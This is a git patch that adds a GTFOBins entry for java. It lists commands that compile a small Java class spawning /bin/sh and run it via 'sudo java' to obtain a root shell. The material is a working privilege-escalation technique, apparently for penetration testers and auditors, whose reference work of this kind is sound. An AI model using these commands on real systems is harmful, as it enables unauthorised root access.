From dc77ae1823339dfa2261dd20fc03e0bb9eb38b98 Mon Sep 17 00:00:00 2001 From: frissi0n Date: Mon, 11 Nov 2024 13:15:55 +0000 Subject: [PATCH] Add sudo java --- _gtfobins/java.md | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 _gtfobins/java.md diff --git a/_gtfobins/java.md b/_gtfobins/java.md new file mode 100644 index 0000000..3bade38 --- /dev/null +++ b/_gtfobins/java.md @@ -0,0 +1,10 @@ +--- +functions: + sudo: + - code: | + TD=$(mktemp -d) + SOURCE='public class Exec { public static void main(String[] args) throws Exception { new ProcessBuilder("/bin/sh").inheritIO().start().waitFor(); } }' + echo "$SOURCE" > $TD/Exec.java + javac $TD/Exec.java + sudo java -cp $TD Exec +---